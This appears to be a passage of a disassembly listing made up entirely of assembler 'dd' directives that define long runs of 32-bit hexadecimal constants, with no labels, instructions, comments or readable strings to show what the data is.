		dd 54928B74h, 0E4299BA7h, 0C31BA85Dh, 0C2A4BF57h, 0F76760A1h
		dd 0E90DC2A0h, 427A4CABh, 0E188781Eh, 0C6CAADF9h, 9CE92763h
		dd 323410Ah, 812010Eh, 2B2481D9h, 0BD638431h, 2E875D01h
		dd 57C68A27h, 58809D19h, 377562ACh, 4CF94BF8h, 10256891h
		dd 0B5FC6421h, 62017B99h, 8AE14874h, 8180AF32h,	0BE2D64F3h
		dd 0C69B87Ch, 6B7D799Ah, 8E2E4C0Ch, 0D81546CBh,	3A5627F0h
		dd 0C2395E64h, 1A4AD6E9h, 69598509h, 0C317ED4Ah, 78B25250h
		dd 0A185D04Bh, 22D3C7B2h, 78D45238h, 48E9C1F0h,	53A0F20Bh
		dd 5E2893BBh, 0E300FCB8h, 583D7C2Fh, 0C443DBF7h, 0C50C78E0h
		dd 0C311B0EDh, 0E5978B02h, 0CA3BE9A0h, 62C17952h, 210F0BB3h
		dd 2CD8281Bh, 60EE53D1h, 0B1CD333Bh, 0B26395A0h, 81D9290Bh
		dd 0CB22C600h, 0E6FD5B55h, 8579806Ah, 4067DD9Fh, 9ADBE918h
		dd 0C9FE07A8h, 0A235F180h, 0A6D343DAh, 0E0027DA4h, 0E263BF3Bh
		dd 5566131h, 1884FE50h,	2B315C88h, 33166817h, 8FC9516Bh
		dd 6D493F5Ah, 6E10AA0Ah, 3716E003h, 0C4C8DB0Bh,	0BDE60012h
		dd 7AC14D1Eh, 353B3EB0h, 2E532618h, 0EAA01A1Ch,	0ABC6003h
		dd 802EB652h, 2812EE7Eh, 16B65AF0h, 401E7610h, 7B03EBCCh
		dd 136B266h, 0D4A6F2C3h, 0CB6806EBh, 1627310Ah,	78643A54h
		dd 8AC63CAFh, 0E9485A82h, 0DCDCEBE3h, 27BE1B6Ah, 51450BFEh
		dd 0BF526307h, 68AD341Ch, 0BB31492h, 0F60DA401h, 6CBBE92Bh
		dd 412850BAh, 17380524h, 631FAF00h, 2DD931EBh, 0E18234E9h
		dd 0C2D61C87h, 0BD0C0850h, 0A9B6E298h, 5AF18813h, 0F6591600h
		dd 48C280D2h, 0ED16253Dh, 0E9490328h, 0AD504130h, 11B84E34h
		dd 4B5B10Eh, 0C203BDA3h, 998BC580h, 43791EF5h, 0B8E8DB40h
		dd 0E9C80BDEh, 47520785h, 8B68C2EFh, 1C4A7721h,	4165F198h
		dd 0C93D300Dh, 16B3141h, 0F12E1595h, 0C682705Fh, 62583A78h
		dd 3CD03EC0h, 0D9F71264h, 521CC313h, 0D47D9BC3h, 505EC2CAh
		dd 4AF5FA89h, 0F29F89BAh, 84FB7A64h, 39685919h,	5F48BDA3h
		dd 0E89900D3h, 296A492Eh, 158C109h, 20CA8FF1h, 0F71B1510h
		dd 0CF90C0DFh, 0E97AA1C0h, 4984A44Ah, 0C2184A81h, 3AE78100h
		dd 378A7216h, 20C4A61Dh, 7B803F95h, 4C25351h, 5FFE3154h
		dd 0F69A8101h, 4B6D7F2Eh, 46220609h, 0B3F5134Ah, 8C299399h
		dd 425C27DAh, 7FE953DDh, 0E90E855Bh, 0CEAC3883h, 565157C0h
		dd 4575B268h, 1A41325Ch, 0C9A334E8h, 7BCEE39Ch,	1062AD9Bh
		dd 817B2C4Ah, 22368B0Dh, 68B52D2Ah, 10A9A733h, 81548A14h
		dd 76B0D85Fh, 0F1F11295h, 89E9613Bh, 92622C27h,	0EA23A772h
		dd 2CB559A2h, 169884Eh,	3091BE00h, 62090522h, 5C33F4F3h
		dd 0FC62B856h, 2650F9DBh, 4A6610C9h, 1E75A080h,	0F061725Fh
		dd 0E907A0EFh, 282394CFh, 6E011233h, 207B0902h,	0DA257043h
		dd 6786428Ch, 0CE45A779h, 47850E96h, 71D12182h,	0C95394D8h
		dd 0C37AB304h, 3DBEFC0Fh, 7F2701CFh, 3EFC16Ah, 146DE0E7h
		dd 47493023h, 7C8E8BAEh, 5B57DD12h, 16D84A0Bh, 0C8293048h
		dd 0FE79B15Ch, 3D4F2330h, 60CE142Eh, 12C70E39h,	2A641E10h
		dd 0AE806A64h, 5CF8296Ch, 0C31D2A5Fh, 7664412Bh, 694960E9h
		dd 163012AFh, 0D2C88EA9h, 3B90C42h, 9E48F989h, 58CC4D64h
		dd 9D46D8C3h, 8DA0BDCDh, 4D697F08h, 0ADDE893Eh,	4C7442B9h
		dd 9A92F696h, 0FC881CCAh, 8DE7DE5Bh, 489762C4h,	0DE2D6899h
		dd 821C9A4Fh, 17C1D9h, 8E18982Dh, 0A416D24Fh, 26A6FC00h
		dd 0A25E6AC8h, 40FA5C98h, 0AE4CBDEFh, 5129643Bh, 87080097h
		dd 0EA49E9FDh, 3462445h, 0BCA9893Bh, 4F5546C3h,	4B9A0E1Fh
		dd 88FB54C4h, 7D4C7221h, 0A76FCABDh, 4CB80AB3h,	522C01E3h
		dd 0D43B3B02h, 0E3F25930h, 2E4DE958h, 4E284B61h, 95F4BA09h
		dd 2EB0934Fh, 4FC368h, 9582A34h, 234BE9C2h, 40D997D0h
		dd 1213F686h, 0F6B01B32h, 30CD16E7h, 0EFF50092h, 28B70DC2h
		dd 0D4FA3133h, 0B2E56Ch, 0CECBD94Eh, 9DAA5F13h,	0A0D0D203h
		dd 98B7F020h, 2F174160h, 5F1D8613h, 2FF4DD17h, 6AC741EDh
		dd 0E9D57249h, 79DDC5F1h, 64206B90h, 2056C458h,	48366800h
		dd 55451D9Ch, 0EDA2CEA8h, 94146112h, 50267D2Ch,	0EC9718B4h
		dd 81025E7Dh, 5A4447F6h, 34CDE5Dh, 37541535h, 0E9C6100Bh
		dd 5FAE416Eh, 99074638h, 0DB27C844h, 0B80112FAh, 7796A3EAh
		dd 221C789h, 0F0051981h, 0E80E8F23h, 1A9F2A10h,	0B69C2123h
		dd 0C0FC5362h, 6FDB83BEh, 78B174FEh, 8882D314h,	0BCC6A042h
		dd 6E95889h, 0BFA880B5h, 0C4AA66AFh, 0E239105Ah, 5BD297B7h
		dd 0A2124051h, 25B42455h, 0C663256Bh, 612BDC0h,	12560F0h
		dd 4F0271EFh, 681FC76Fh, 0C36A9813h, 8E3C11Dh, 4B9BEB9Bh
		dd 0BBCB8188h, 474D7404h, 97F19EE9h, 660D316Ah,	0CF734129h
		dd 575801B6h, 0EAC87769h, 21DD2438h, 0A304DB17h, 0CFF93969h
		dd 143E8C84h, 2FDE1269h, 5DA95A34h, 5862DF4Ah, 19D85B74h
		dd 0D06DB31h, 4B25B55Dh, 5921F74Bh, 25DA6BB7h, 0E0E9521Fh
		dd 4798EA2Ah, 0C795A670h, 8BD626AFh, 0A080E9h, 0FC4ABAB8h
		dd 21A6D6Bh, 0FC0B24B8h, 6BC6EBA3h, 90350720h, 0B8CF40B8h
		dd 0DC0FD30Fh, 0C04B76Dh, 0AF2CBAh, 16B0579h, 0E9271BB0h
		dd 523C613Dh, 9AFF5774h, 59BF224Ah, 9020E377h, 5585B2Bh
		dd 167C311Eh, 510138ABh, 0BBF4B40h, 21870630h, 7E5D5300h
		dd 0CC16526h, 53EA2498h, 79A2620h, 0E923A962h, 1DC709F8h
		dd 0E4A9173Fh, 0CC540A33h, 985CA4BBh, 455C67EEh, 0ED7CD65Bh
		dd 0EB082FE9h, 43202EC6h, 6060AA3Eh, 2EF9AA0h, 0DA21508Ch
		dd 5356A3E9h, 0D8DA2C18h, 0B2520251h, 2A586804h, 0B3034966h
		dd 0B1EB803Ch, 0C1029AC0h, 0A7766E89h, 559A885Ah, 0BA54B560h
		dd 0CA3485h, 96E28133h,	0E959D14Fh, 6925BB24h, 51C20182h
		dd 0EB2940B9h, 0B850006Bh, 2B3C63A7h, 91B23EE9h, 7E72565Eh
		dd 7B90425Ch, 64E42F56h, 39EE810Eh, 1402217h, 0A86C2FEh
		dd 27170B08h, 4F7D49A6h, 0E046250Fh, 6606498Eh,	4DBA34DCh
		dd 22E9160Bh, 0DF9CF218h, 291D3849h, 0A44CE0DBh, 0C78BC031h
		dd 62A730AEh, 213E70F3h, 4D59CD06h, 0B252AE9h, 0F828DFB7h
		dd 407F988Ah, 0AFE9692Ch, 84D2F05Ch, 0F5A05BDEh, 0BF09B52Ah
		dd 0D0F6B383h, 0C975C1A4h, 53D79774h, 0C3CD4681h, 8C30C354h
		dd 350749C1h, 415E6FCEh, 0E468ACBBh, 507361h, 0DEF667B6h
		dd 76B75350h, 80D70E6Ch, 0F765F1CFh, 6A77D631h,	1199E91Ah
		dd 0E6B1503Ah, 31131F06h, 80C353CAh, 0EE305B8Ah, 4C95299h
		dd 290BBC8Fh, 9351F007h, 8B1E6FD4h, 0A01355E2h,	95EE37B4h
		dd 0F5ED6664h, 0D4EE358Dh, 0ACCB41Dh, 41D63257h, 0D52B28C9h
		dd 5E5F04E9h, 8AA8E1E9h, 6016B748h, 4F65B2ECh, 5097C822h
		dd 0DC882DD4h, 6794940Bh, 0CC5C507Fh, 3CF57EFAh, 24E9A8FDh
		dd 6399239Bh, 353FF1F7h, 8D0A2556h, 0E5E34DFCh,	2C1CEBACh
		dd 22A399D3h, 40AD02CCh, 1D233568h, 0AF016493h,	0CB882A45h
		dd 61884017h, 5A6422E0h, 0A7D48B6Ah, 2526F5E4h,	0F1D0B807h
		dd 6D5C980Ah, 0F91A8E57h
		dd 4BF5C83h, 8669585Dh,	883E2D8h, 687230D5h, 25912DBDh
		dd 0FD000BA8h, 0BA50D71Eh, 5C6B034Fh, 0E913E71Bh, 0E81A8549h
		dd 99AB2C87h, 4852D242h, 81B3310Fh, 297F2089h, 0AB31F34Fh
		dd 0BE248F66h, 0E5E6822Fh, 3B2A1391h, 0D45AEEBCh, 74451300h
		dd 0E9302030h, 0EB913895h, 712CE1A0h, 0E40A95Dh, 0C15AF574h
		dd 0FD22A10Ch, 7B0F0103h, 0D1A60A2Bh, 0D10820AAh, 0A37C140Ch
		dd 0CA9A8D20h, 5DC51859h, 99CBA8F1h, 0B502499Eh, 0E72BC8E1h
		dd 171A1E43h, 972D41A8h, 5EE2002Fh, 292A1805h, 0EB5DEA28h
		dd 0D1094D76h, 0C8D30114h, 0B166EED3h, 9F16BCCEh, 45A6CA6Ah
		dd 12E50AB8h, 9AC91232h, 0A5ACBD45h, 0C4185D3Fh, 0CB90C75h
		dd 692E3005h, 39CBD131h, 0E8E91661h, 72D38D2Bh,	8D2F02FFh
		dd 69A9211Bh, 73EF1046h, 4BF15128h, 0CEFC124Fh,	0BE560148h
		dd 1D6D1FE3h, 0A5963B78h, 484CD866h, 0C77E912h,	0F04AC1ADh
		dd 1D069923h, 7C294E79h, 0A46CF810h, 4ED5B00Ch,	31DA0403h
		dd 81EDD8DDh, 0A2AFF51Dh, 0C3E09093h, 0E4829738h, 89615749h
		dd 8C6800FBh, 0BE4BB122h, 22DA4ABFh, 60F95B4Bh,	0F8BA5243h
		dd 9035E860h, 0DFB69BDh, 0BC83C809h, 5D73FEA1h,	8423018h
		dd 95642CAAh, 0DE767A3Ah, 9C3407Ah, 22CF047Ah, 0F20F76E9h
		dd 0B4847E9h, 9053FDE9h, 0C05AD5AEh, 0FE410BFEh, 0ED37C135h
		dd 8D31203h, 0EF241763h, 0F2C0265Dh, 0C3984E4Ch, 10621768h
		dd 2B6BEA59h, 68853B59h, 8FB31E6Fh, 26501553h, 83F85430h
		dd 710A5CE1h, 65BF57C0h, 7679D603h, 0C25FFB27h,	80F959CAh
		dd 656036BAh, 0D3163107h, 2904535Ah, 2D00B21Fh,	9E42BBCh
		dd 3AA8051Dh, 0E82924C7h, 503E07CAh, 914CE911h,	7BE890D1h
		dd 66775312h, 0DA20812Dh, 4FCB5ED0h, 271DA257h,	0CF88AB00h
		dd 0FE2C5A59h, 671FD1C7h, 5413C06Eh, 0B24A7DB3h, 20B693D9h
		dd 5D779B4Ch, 5907203Ah, 3758E630h, 5D12CEF0h, 0B06A4D4Fh
		dd 54777F84h, 56D3D2h, 0EB803EB2h, 4B28493Dh, 82DB98F1h
		dd 1C5A06E3h, 0B60F950Ch, 0C4877CC0h, 0B859E983h, 505E13D2h
		dd 0D32FC637h, 6401D58Fh, 0E9028966h, 0A599BB1Eh, 8847792Ch
		dd 117E2B5h, 41A403E0h,	0B0D2202Bh, 75AF3F12h, 0BC5098B8h
		dd 7E49674h, 0B5BFA28h,	60EBA18Fh, 0E1402A49h, 5A734DDh
		dd 6E98907Eh, 5B948898h, 85685362h, 9D805B57h, 4C187D12h
		dd 8A5E5D2Fh, 21662546h, 462CC6AFh, 3E441D3Fh, 2CF1A4Ch
		dd 0ABC3F82Bh, 3882E9A0h, 8F4ED891h, 0E9E4AB86h, 0CA3AE5E9h
		dd 0EFD85F6Ah, 0D1CF4A67h, 3A1B15B9h, 3C58DE8Fh, 89AC1524h
		dd 0EFD6399Eh, 5AB8F5C0h, 8FE9888Eh, 78737469h,	457F8220h
		dd 0EB50A7BEh, 18333159h, 568ED5D6h, 0A7C0B68h,	7E405104h
		dd 0CE036BAFh, 0F7814F5Dh, 6908E9A1h, 189DE7D8h, 0C4AB768h
		dd 831F638Dh, 0B52CC14Bh, 73AC700h, 0A029306Ch,	91F089FFh
		dd 0AD80936h, 0EA970066h, 0E3BE41BCh, 30B20401h, 752D688Bh
		dd 0FAF46623h, 0E5BBBF3Bh, 543958D9h, 641DF013h, 6521FE40h
		dd 605E7BF3h, 0FDB0B80h, 75DA8530h, 0BC18B668h,	44F56216h
		dd 8F09EB64h, 81485C72h, 0B8505A61h, 0AA0147ADh, 2A4E3DE9h
		dd 80EE5340h, 0A16FB30Eh, 1B2825C9h, 0BE00844Eh, 0A65C3C28h
		dd 0FF8F2766h, 0BD512012h, 0C2947949h, 890BDAC5h, 668A0204h
		dd 0BDEF7BEFh, 2C80448h, 0AB24E99Eh, 0D831AD82h, 0DACBC052h
		dd 0F592508h, 4CE69D40h, 35D71C17h, 98D0050Ah, 1A03C482h
		dd 0C8017D74h, 7F863C0Ch, 0E7E83013h, 0D9290E09h, 0B8C1C300h
		dd 1F485249h, 7D5706FEh, 0D01E24ECh, 1C68081Ch,	0A2843014h
		dd 511FB77Ch, 0CE8FE6D1h, 28646CE5h, 0FF1C03EEh, 0F1019939h
		dd 0E307EE2Ah, 1F70BB98h, 44351425h, 626874B4h,	4682EF4Bh
		dd 3B248691h, 3ECDD435h, 304007AFh, 1D480BE9h, 91EAC3ABh
		dd 427AD242h, 5B3209Ch,	753B3CC7h, 70AF0F79h, 2D475F9Eh
		dd 2928A160h, 78ADAF0h,	0FA122028h, 97E919D0h, 0DDD76119h
		dd 0DD6765A9h, 0A3D570EAh, 7ECED649h, 9D26102Eh, 0AC1A4240h
		dd 6D1F71Dh, 0CAA0252Fh, 0B65C2467h, 0D7685041h, 542D3578h
		dd 40586331h, 8B28F29Fh, 2E96716h, 3C3E6AB1h, 1024689Ch
		dd 5C6C9925h, 234D03F3h, 1BACE944h, 0FCC2AB64h,	2F7B468Ah
		dd 0F1A1DA8h, 0B028E251h, 0E9F134F1h, 2810BD30h, 3959232Ch
		dd 0F326AC04h, 0C17BBAC8h, 39685C10h, 168F3656h, 0C704F0B2h
		dd 0DCADCBBFh, 0D21D3110h, 0BFC039B8h, 57BD10CFh, 64D7F726h
		dd 0EF810507h, 0A9A17D50h, 2753B056h, 0B720442Bh, 4C285F65h
		dd 0D5D242F6h, 0A25079E0h, 0BE724E9Eh, 0E95450F2h, 52B59427h
		dd 0EE801DF7h, 1E316EB4h, 0B3534692h, 1EDCE6B1h, 0E8B2CC30h
		dd 91FB4EE9h, 7B04EFD0h, 0C0B5E045h, 0A9C03E94h, 9DFBD55h
		dd 29198032h, 0D55D8F41h, 0EDF5455Ch, 321141E0h, 6858C10Fh
		dd 8C3A7FB9h, 153EA942h, 0E843A5FAh, 0F751082h,	0CE9A522h
		dd 936E50B0h, 3B1F1916h, 0E6714001h, 3F28C4E0h,	5FBEE90Bh
		dd 3D73E120h, 2CF74411h, 0CD9B08Eh, 0E94F0AA8h,	81DFB9E5h
		dd 5047AA2Dh, 5296E1Eh,	9764A330h, 64599387h, 3B57AC41h
		dd 7D6A8FBEh, 2048493Fh, 1CF68110h, 0A7DF0F5Eh,	0A5A4F331h
		dd 0C1C0935Ch, 3E6911B9h, 628C4228h, 2C11710h, 2055D229h
		dd 8F6B3BCFh, 3DB80220h, 904160F3h, 4AF482ABh, 98833939h
		dd 1F069EF7h, 137030E9h, 42EEB83Ah, 4838D700h, 506E8C1h
		dd 0B9190039h, 76402D60h, 7CDC619Ch, 5C987209h,	196F166Dh
		dd 649F9E4Ah, 0F94561Bh, 82419B50h, 578C2157h, 171AE789h
		dd 0F8B4C9E9h, 829193E8h, 5A7C2120h, 5414E902h,	225C164Dh
		dd 4D48C299h, 6900A835h, 42056FADh, 0F426E229h,	0FE4012DBh
		dd 3012015Dh, 34479701h, 87957380h, 0F1875E9Fh,	45EB82h
		dd 0D83362BDh, 5BFE7D5Ch, 0FE88D707h, 0FCF69272h, 0F0FBED1h
		dd 7D697636h, 4C9DB0D8h, 0F64A9503h, 0FA97BBDEh, 0C1D4B7E1h
		dd 10AD6AAh, 0A52B1774h, 6295EC7Ch, 63A58C9Eh, 6BB8A46Ah
		dd 6AE90840h, 1A6A3BA4h, 0ECABFE7h, 7052CC00h, 6BF37C5Eh
		dd 7C087410h, 0FC20C495h, 28832CAh, 0B56B2642h,	9F62A2B5h
		dd 7B2DFFC9h, 1B103D0Eh, 0F2810F2Ch, 4DA86470h,	2D5700ABh
		dd 0D626E2Eh, 0C5C0537h, 0FB6408Fh, 7C296C42h, 0E507A3E8h
		dd 1BA8111Eh, 914B3998h, 72684602h, 403E9A4Ah, 0E03E5CEh
		dd 0CE357B5Ch, 2D778200h, 0D9623C0Dh, 58903Eh, 45B3685Bh
		dd 0E0B920A8h, 14202838h, 0DEE1D1h, 632E232Bh, 1759CD29h
		dd 106E5C1h, 1E30FF21h,	5BDDF015h, 2AB471B0h, 501A526h
		dd 56AD740Ah, 0F6D2FD61h, 1EA626E0h, 0EC8009CAh, 6841BC54h
		dd 63366EB8h, 0F822C60Dh, 886205Ah, 54EA6BFh, 0B2B11EEBh
		dd 17AC2C80h, 660DC001h, 0CDB0028Fh, 575D01E3h,	894C307Fh
		dd 1045BDFh, 51A7E9FDh,	293CF2F9h, 0DE456036h, 9704EA3Ch
		dd 0D5C94361h, 4CE45D20h, 14819FF9h, 0F144BF65h, 0D3108250h
		dd 7F771D67h, 0EC204289h, 0C1612311h, 9A05ED28h, 378A84BFh
		dd 0F00CFE04h, 0AFD252FFh, 4F209DD0h, 12D209Eh,	56967596h
		dd 122A0F91h, 2078B800h, 48314600h, 7BC92D40h, 920761C4h
		dd 2AC15EE9h, 8842569Dh, 0A77FD3B2h, 0E99C2DCDh, 0C9C95417h
		dd 0B352C5E0h, 54500A99h, 47BE0BE0h, 27A8D916h,	1F3F0E3Fh
		dd 0E1CA2720h, 13843B78h, 89C2B3E9h, 0E4C5F7CBh, 22A45ABCh
		dd 8293FF69h, 9269E71Ah
		dd 2936453h, 7A0845ECh,	8871348Bh, 0E9515760h, 70AE6BD7h
		dd 2B5BA711h, 13A4C8Dh,	0BF38C88Dh, 9DFA4140h, 223C06D5h
		dd 949DDC56h, 0DF30343Bh, 8A4CE21Ch, 2B0BC851h,	2BF26Ch
		dd 2CFC18F7h, 315DEA89h, 5A06849Dh, 0E701C91h, 0C9405EE1h
		dd 0C5F6D59h, 51DEF754h, 0E44EDD90h, 0C223484Bh, 3E98C1E8h
		dd 94069F26h, 0DC7E8B4Eh, 0A50C6409h, 459F8087h, 9E67C02Ah
		dd 4FF38079h, 56319508h, 939E925h, 4B5EF400h, 220E382Ch
		dd 4B387604h, 228E08E9h, 0AF4C804Bh, 0DA12836Ah, 0EC152958h
		dd 51551FB9h, 40392780h, 0A0495941h, 2673D1F5h,	3BD2C8Dh
		dd 1AD6B674h, 775CF1DAh, 326AF32Eh, 65900A5h, 3E817AABh
		dd 8698E4EBh, 334DD847h, 1644C15Ch, 0B522E48h, 0B20BDBECh
		dd 4D52A6EDh, 715A434Ch, 0A731E597h, 0E90984E5h, 588CA4D9h
		dd 0B8828FF1h, 1EE5044Ah, 8A0587Ch, 0C66769FAh,	2710EB5Fh
		dd 0A30144A7h, 0E4EFCA81h, 4D13B747h, 0F588907Ch, 7630F68Dh
		dd 4BED0B17h, 3A0384C5h, 2307E0DDh, 0C34456F6h,	0D6F723h
		dd 8265EDA8h, 0CAF9E923h, 0D360BC9Ah, 0E54C707Eh, 15A121Ah
		dd 0CF0300FBh, 5F367119h, 4787E917h, 49AEEB4h, 4510FF0Ah
		dd 0A600EEF7h, 11E1A636h, 5DEE2F31h, 147F3C62h,	0E95C17C0h
		dd 59728245h, 506B007Fh, 4E337223h, 0C7F1F405h,	0E90141E1h
		dd 0AD5E2413h, 307F832Ch, 0A3840F03h, 0C6E300C8h, 786B65B2h
		dd 0FB6CEEE9h, 0B90580D3h, 68C52531h, 180F7526h, 7851AB32h
		dd 0D5BE2D90h, 0A46F34A1h, 10FF383Dh, 80175D98h, 0FDEB04EBh
		dd 776ED810h, 0C28BE260h, 5EBE53FCh, 962CC92Fh,	180E9336h
		dd 58E30603h, 0D064C12h, 0EF16497Eh, 4966C902h,	207D5546h
		dd 0F5543069h, 0F1E902Eh, 10CB2C61h, 0C0E4D9CEh, 3FA6C935h
		dd 0AFD2A04h, 6D595431h, 4FE485D9h, 0B9517D40h,	18FC0656h
		dd 0B58BE1Fh, 1497CE29h, 7C57A2A0h, 4066C9D4h, 59CFE93Eh
		dd 51120FACh, 0F68BBF86h, 24DBD0D4h, 3B59648Ah,	5980564Ch
		dd 50F0E180h, 2C13B00Fh, 77AEEFFh, 667058C1h, 0C443EFE9h
		dd 103BBFB7h, 0F33430B1h, 0E807AAB8h, 0C9BEEC56h, 2D0481Fh
		dd 2962E191h, 49147CD1h, 68563723h, 4115ADD5h, 9A3CBAFCh
		dd 0D90AA5AAh, 5229C8FCh, 0E9CE9855h, 0A320B784h, 514669C1h
		dd 0F9296214h, 0D50841E0h, 6FFF39B0h, 0E42CCB8Ch, 0C2681886h
		dd 59F6D509h, 82C3C0A9h, 8F6AD780h, 2E324072h, 6C4C3E32h
		dd 855FB458h, 0B455F8D5h, 92EBFDC8h, 0D1E48A8Ah, 4C9149FCh
		dd 401B0CEAh, 0D1B888C7h, 0B4C5802Eh, 734BE81Fh, 4A55544Dh
		dd 501110E7h, 85132E5Ah, 8018EC1h, 4E585587h, 0E102FE71h
		dd 18A24446h, 56DE30F3h, 6DFC7EC6h, 92436159h, 0CF4092F2h
		dd 2FDB59BCh, 4B08B86Fh, 0CFE978ADh, 0B6E979Ah,	0C2B087DBh
		dd 784C6D23h, 10533FDFh, 6078BDE1h, 0D4DE6CAh, 4BB84A3Ah
		dd 8EC4E7D3h, 66659DC0h, 811D0157h, 804059CEh, 9FA23003h
		dd 5F837626h, 0F1E5BA1Dh, 9EAE48CAh, 0CBC4D25Fh, 4E833BBCh
		dd 685CE741h, 0CC2B3416h, 1E45EF6Eh, 674C22BCh,	5F58F80Bh
		dd 884E4F07h, 71189920h, 0EDFAF528h, 0EF82B5BDh, 9B4B17E9h
		dd 0AB2E99C8h, 0E5814C05h, 0D0C06D53h, 1845D5F7h, 0BCDE15E9h
		dd 301E58B7h, 5A975BFAh, 545E4082h, 0B2DEE9DEh,	1EF1298Ch
		dd 1D4BECC1h, 0A8010279h, 0AA0883B5h, 63D032h, 0E49465B9h
		dd 59CF0149h, 6012C29Dh, 3EAB7478h, 0D379B59Ah,	0BD8AC53Ah
		dd 6964848Eh, 0B2DA8805h, 0CA80C067h, 13E2C06Ah, 0B4D66808h
		dd 0CE41DB5Ch, 41479002h, 0F3C04432h, 0BDB20E52h, 0D24DDAF6h
		dd 0EA80D809h, 0F2383B73h, 0BED32EC5h, 18AD4A5Ah, 0F8C3283Eh
		dd 22DC9850h, 0EE07219Eh, 2EFA7EC1h, 39E86FB4h,	3BABE2Eh
		dd 68577736h, 9754258Ah, 3E281C61h, 2F281FCh, 0CE72752h
		dd 7458AFE9h, 1028C39Eh, 0B9027C43h, 2D667FB8h,	5DB5B340h
		dd 0AB3B4C28h, 28EFE950h, 5FF9210Fh, 810600C1h,	266A37E1h
		dd 92642E0Bh, 4CE7ADF8h, 56088E5Ah, 5D2FDA8Ah, 6FE8AB27h
		dd 0AE11CE05h, 771AF031h, 4A016FD8h, 0CDCD54h, 2F41E90Ch
		dd 0C920489Fh, 7D3C9AD7h, 0A2FA3432h, 0A561EC0Ch, 2F92D20Bh
		dd 0D0FD4B51h, 5C68E9A5h, 0A4C051A2h, 6670B5BCh, 0F658E513h
		dd 0B5AFEFE0h, 0B3E932E0h, 0B70E709Eh, 66FC02F3h, 55A05F5Bh
		dd 80C4FE04h, 0D4E779EAh, 0E63F28CEh, 6EE0558h,	0B038E9h
		dd 916497BDh, 484A8F25h, 31D1ED38h, 3E2CBA15h, 0D80F0433h
		dd 0FE3F0455h, 4F411AF4h, 9D839BCh, 0ED327A06h,	130C5B52h
		dd 68834B9Ah, 0CDE28498h, 5E69F996h, 0B10A641h,	312F3B5Bh
		dd 2C44FF6Ah, 912B2A06h, 0EAC1875Ch, 0AC25E507h, 0CF3117AEh
		dd 124D3A1Eh, 0DEDD12ADh, 914F1630h, 2F8257Ch, 0CB80350Eh
		dd 0E5F36171h, 0A2F65E9h, 138D5D99h, 27690AE4h,	5C3C10A3h
		dd 3577457Ch, 94CD29C3h, 492D8548h, 7F2F9020h, 1631260h
		dd 8B110DEh, 8F5A1C69h,	0A18CEC96h, 7EB3961h, 609876BFh
		dd 0C30A6F01h, 7C1C3008h, 676F1A6Dh, 1302AEACh,	8253DA3h
		dd 0A1A7AAE8h, 52D4C9h,	903EBAAFh, 0FA89000Dh, 56B12D5Fh
		dd 5053894h, 33CA27E8h,	0BEBF71A0h, 0E0C10732h,	34A0F003h
		dd 0F77F02A8h, 0D5CB3504h, 9BC29761h, 52849058h, 7A11468h
		dd 0A27D549h, 0AFD446CAh, 0D7F20112h, 66141ED0h, 4E225931h
		dd 0B5295B5Bh, 4FD9882Fh, 0B6EFD12Ch, 29173710h, 0C5CAE2C5h
		dd 0F4B825C9h, 0E4196596h, 2FD53797h, 95C1F46Bh, 62241477h
		dd 8C714A29h, 1E741F4h,	0FEE0E280h, 0CC798C2h, 4D3F689Ah
		dd 0AF67298Bh, 0C30458BAh, 66EFEAC1h, 0FEF141DEh, 0D504982Dh
		dd 82359A09h, 604A10D5h, 125931AAh, 9322F87Eh, 69931DECh
		dd 0E986FD2h, 4EAFEF0Fh, 0DC53A409h, 0D6AE32AFh, 1B544BE9h
		dd 68E1616Eh, 0ED63460Ah, 5A09E65Ah, 0AEC19AD8h, 0E94DC4F4h
		dd 2012F13Ch, 269E11AAh, 0C6294F3Bh, 0ECD34963h, 0C6E9A094h
		dd 23A48245h, 6702C797h, 0FDF5D2F9h, 0FB759877h, 1AE983EEh
		dd 0B28D24A0h, 0F2250598h, 10E3F056h, 9C2308Eh,	0D9EFB551h
		dd 81590045h, 91EA5CC5h, 0E67548h, 33995876h, 97A5F3E9h
		dd 563CDC46h, 0A305B768h, 0F7052574h, 5614BFD3h, 9CA05C8h
		dd 1ABEC23h, 6D6B0520h,	0F9E9C8F2h, 0DF2E0EBCh,	0A4CF472Dh
		dd 881C6442h, 625686Ch,	0A2401202h, 0B0E5E73h, 5F41EC76h
		dd 376FF821h, 0B92EE576h, 0A9BCD291h, 0B03E9C2h, 0EE80B151h
		dd 0D9550DE7h, 99109731h, 0C1802810h, 0C8F4EDE8h, 0B6C99891h
		dd 5AEE6A74h, 2A65186Eh, 0C4455A0Bh, 0D508D6B1h, 123517A6h
		dd 3BEDA4B9h, 79377062h, 88700B43h, 9B09507Eh, 239C36Fh
		dd 5E0C09B4h, 0C908D05Ch, 55E18A9Eh, 0CE2B02BDh, 3C6E65A8h
		dd 0AC8448F2h, 3473FB0Fh, 3EB8E159h, 5250312Bh,	5A1F9754h
		dd 0B0DA72C5h, 0C8B95103h, 0E990BA7Bh, 379A1D95h, 8001ED39h
		dd 0EF882EC5h, 7CFE2059h, 2CF62E5Bh, 0CF051C02h, 973D02E6h
		dd 0E43607D0h, 0BF70B9E9h, 5BE319BDh, 9F9E91F0h, 86057F20h
		dd 4DB1D906h, 0AFBBC72Dh, 120268C9h, 2577F22Dh,	73717DE9h
		dd 35C06882h, 0EF6D605Dh, 5C028BC6h, 0F2456ABBh, 1D5540Fh
		dd 17B654F3h, 2EA879E3h, 5815A0Bh, 48D50679h, 223A6E31h
		dd 18486436h, 662C2904h, 3510F752h, 48C9BA02h, 654011F3h
		dd 0F53F10C6h, 580B0154h, 0C2314506h, 16012DD4h, 0B81AC516h
		dd 0C3407005h, 59C90781h
		dd 6F0E4C44h, 0CECF5D81h, 0D260D49Eh, 0DEEA61ABh, 0C131FF48h
		dd 9D942FFEh, 0CB94B914h, 34FA60CBh, 1F7307Fh, 0B37C2B0Ch
		dd 0B1E95D13h, 8108D3A1h, 4F4D16DFh, 8477121Eh,	131BE06h
		dd 976A5EE0h, 0BCA2252Fh, 0F5B08308h, 6AC412F6h, 0C001B41Ah
		dd 5E349606h, 0E686CE31h, 8A451411h, 0F2058B20h, 905A193Bh
		dd 73916EFh, 0D400200h,	25542384h, 4AF10005h, 4D2D13A3h
		dd 0CF5C1504h, 0BDAD20CDh, 0A5CA3F4Bh, 584D9150h, 0C51E522Ch
		dd 8E423C68h, 44935E9h,	0E15C25Ah, 3CFC5005h, 1D680DD8h
		dd 6F352F62h, 0A78CDBE3h, 0B34227E6h, 2A9D2A1Ah, 0AA17450h
		dd 6F022B3Fh, 0DF1C4709h, 9D13C2B0h, 588214B1h,	0FD739F68h
